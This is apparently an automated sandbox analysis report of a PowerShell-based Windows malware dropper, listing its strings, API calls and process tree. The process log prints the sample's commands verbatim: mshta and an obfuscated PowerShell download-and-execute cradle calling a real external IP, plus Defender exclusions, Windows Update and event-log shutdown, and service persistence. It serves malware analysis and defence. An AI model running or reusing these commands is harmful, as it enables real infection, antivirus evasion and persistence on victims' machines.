Source: mshta.exe, 00000006.00000002.1471816023.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446046858.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1453997972.000001FF1B02D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.protware.comm
Source: powershell.exe, 00000000.00000002.1398119271.000002611CB81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1783626763.0000018127BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1502524453.000001992ACF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000B.00000002.1556383787.000001993AD65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000B.00000002.1556383787.000001993AD65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000B.00000002.1556383787.000001993AD65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 00000008.00000003.1444469543.000001E5BAC33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000008.00000003.1444469543.000001E5BAC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: powershell.exe, 0000000B.00000002.1502524453.000001992AF18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.1398119271.000002611D7B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1783626763.0000018128821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: mshta.exe, 00000006.00000003.1470663669.000001FF1AFF7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446046858.000001FF1AFD8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471704394.000001FF1AFFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: powershell.exe, 00000000.00000002.1420389043.000002612CD39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1420389043.000002612CBF6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1398119271.000002611E584000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1895875471.0000018137DA7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1895875471.0000018137C65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1556383787.000001993AD65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

System Summary

PE file contains section with special chars

Source: LB31.exe.9.dr	Static PE information: section name:
Source: LB31.exe.9.dr	Static PE information: section name: .idata
Source: LB31.exe.9.dr	Static PE information: section name:
Source: Mig.exe.14.dr	Static PE information: section name:
Source: Mig.exe.14.dr	Static PE information: section name: .idata
Source: Mig.exe.14.dr	Static PE information: section name:

Potential malicious VBS script found (suspicious strings)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Dropped file: objShell.ShellExecute "cmd.exe", "/c mshta http://176.113.115.178/Windows-Update", , "runas", 0

Jump to dropped file

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\LB31.exe

Jump to dropped file

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\AppData\Roaming\LB31.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Shell Automation Service HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{13709620-C279-11CE-A49E-444553540000}	Jump to behavior

Source: C:\Windows\System32\dialer.exe	Code function: 37_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,	37_2_00000001400010C0
Source: C:\Windows\System32\winlogon.exe	Code function: 43_2_000001F385BC28C8 NtEnumerateValueKey,NtEnumerateValueKey,	43_2_000001F385BC28C8
Source: C:\Windows\System32\lsass.exe	Code function: 49_2_000002A29199202C NtQuerySystemInformation,StrCmpNIW,	49_2_000002A29199202C
Source: C:\Windows\System32\lsass.exe	Code function: 49_2_000002A29199253C NtQueryDirectoryFileEx,GetFileType,StrCpyW,	49_2_000002A29199253C
Source: C:\Windows\System32\dwm.exe	Code function: 51_2_00000283E13328C8 NtEnumerateValueKey,NtEnumerateValueKey,	51_2_00000283E13328C8

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF886C621CA	9_2_00007FF886C621CA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF886C611D8	9_2_00007FF886C611D8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF886C30FA9	11_2_00007FF886C30FA9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF886C3203D	11_2_00007FF886C3203D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF886D030E9	11_2_00007FF886D030E9
Source: C:\Windows\System32\dialer.exe	Code function: 37_2_000000014000226C	37_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 37_2_00000001400014D8	37_2_00000001400014D8
Source: C:\Windows\System32\dialer.exe	Code function: 37_2_0000000140002560	37_2_0000000140002560
Source: C:\Windows\System32\winlogon.exe	Code function: 43_2_000001F385BA38A8	43_2_000001F385BA38A8
Source: C:\Windows\System32\winlogon.exe	Code function: 43_2_000001F385B9D0E0	43_2_000001F385B9D0E0
Source: C:\Windows\System32\winlogon.exe	Code function: 43_2_000001F385B91F2C	43_2_000001F385B91F2C
Source: C:\Windows\System32\winlogon.exe	Code function: 43_2_000001F385BD44A8	43_2_000001F385BD44A8
Source: C:\Windows\System32\winlogon.exe	Code function: 43_2_000001F385BCDCE0	43_2_000001F385BCDCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 43_2_000001F385BC2B2C	43_2_000001F385BC2B2C
Source: C:\Windows\System32\lsass.exe	Code function: 49_2_000002A2911C1F2C	49_2_000002A2911C1F2C
Source: C:\Windows\System32\lsass.exe	Code function: 49_2_000002A2911D38A8	49_2_000002A2911D38A8
Source: C:\Windows\System32\lsass.exe	Code function: 49_2_000002A2911CD0E0	49_2_000002A2911CD0E0
Source: C:\Windows\System32\lsass.exe	Code function: 49_2_000002A291992B2C	49_2_000002A291992B2C
Source: C:\Windows\System32\lsass.exe	Code function: 49_2_000002A2919A44A8	49_2_000002A2919A44A8
Source: C:\Windows\System32\lsass.exe	Code function: 49_2_000002A29199DCE0	49_2_000002A29199DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000014E255DD0E0	50_2_0000014E255DD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000014E255E38A8	50_2_0000014E255E38A8
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000014E255D1F2C	50_2_0000014E255D1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000014E25EDDCE0	50_2_0000014E25EDDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000014E25EE44A8	50_2_0000014E25EE44A8
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000014E25ED2B2C	50_2_0000014E25ED2B2C
Source: C:\Windows\System32\dwm.exe	Code function: 51_2_00000283E1301F2C	51_2_00000283E1301F2C
Source: C:\Windows\System32\dwm.exe	Code function: 51_2_00000283E130D0E0	51_2_00000283E130D0E0
Source: C:\Windows\System32\dwm.exe	Code function: 51_2_00000283E13138A8	51_2_00000283E13138A8
Source: C:\Windows\System32\dwm.exe	Code function: 51_2_00000283E1332B2C	51_2_00000283E1332B2C
Source: C:\Windows\System32\dwm.exe	Code function: 51_2_00000283E134AEC2	51_2_00000283E134AEC2
Source: C:\Windows\System32\dwm.exe	Code function: 51_2_00000283E133DCE0	51_2_00000283E133DCE0
Source: C:\Windows\System32\dwm.exe	Code function: 51_2_00000283E13444A8	51_2_00000283E13444A8
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_000001FB539A38A8	52_2_000001FB539A38A8
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_000001FB5399D0E0	52_2_000001FB5399D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_000001FB53991F2C	52_2_000001FB53991F2C
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_000001FB539D44A8	52_2_000001FB539D44A8
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_000001FB539CDCE0	52_2_000001FB539CDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_000001FB539C2B2C	52_2_000001FB539C2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001CBD8BB38A8	53_2_000001CBD8BB38A8
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001CBD8BAD0E0	53_2_000001CBD8BAD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001CBD8BA1F2C	53_2_000001CBD8BA1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001CBD8BE44A8	53_2_000001CBD8BE44A8
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001CBD8BDDCE0	53_2_000001CBD8BDDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001CBD8BD2B2C	53_2_000001CBD8BD2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001F2BD13D0E0	54_2_000001F2BD13D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001F2BD1438A8	54_2_000001F2BD1438A8
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001F2BD131F2C	54_2_000001F2BD131F2C
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001F2BD16DCE0	54_2_000001F2BD16DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001F2BD1744A8	54_2_000001F2BD1744A8
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001F2BD162B2C	54_2_000001F2BD162B2C

Source: Joe Sandbox View	Dropped File: C:\ProgramData\Mig\Mig.exe A1A8CFCC74F8F96FD09115189DEFE07AC6FC2E85A9FF3B3EC9C6F454AEDE1C1D
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\LB31.exe A1A8CFCC74F8F96FD09115189DEFE07AC6FC2E85A9FF3B3EC9C6F454AEDE1C1D

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: classification engine

Classification label: mal100.spyw.expl.evad.winPS1@67/85@0/2

Source: C:\Windows\System32\dialer.exe

Code function: 37_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,

37_2_000000014000226C

Source: C:\Windows\System32\dialer.exe

Code function: 37_2_00000001400019C4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

37_2_00000001400019C4

Source: C:\Windows\System32\dialer.exe

37_2_000000014000226C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\CMD.vbs

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7956:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7924:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7848:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7904:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4864:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3564:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5128:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7620:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7776:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4332:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7892:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5jy5n4mu.yjv.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs"

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: 2.png.ps1

ReversingLabs: Detection: 13%

Source: LB31.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: Mig.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\2.png.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://176.113.115.178/Windows-Update
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\LB31.exe "C:\Users\user\AppData\Roaming\LB31.exe"
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "LIB"
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "LIB"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\Mig\Mig.exe C:\ProgramData\Mig\Mig.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://176.113.115.178/Windows-Update	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\LB31.exe "C:\Users\user\AppData\Roaming\LB31.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "LIB"
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto"
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "LIB"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
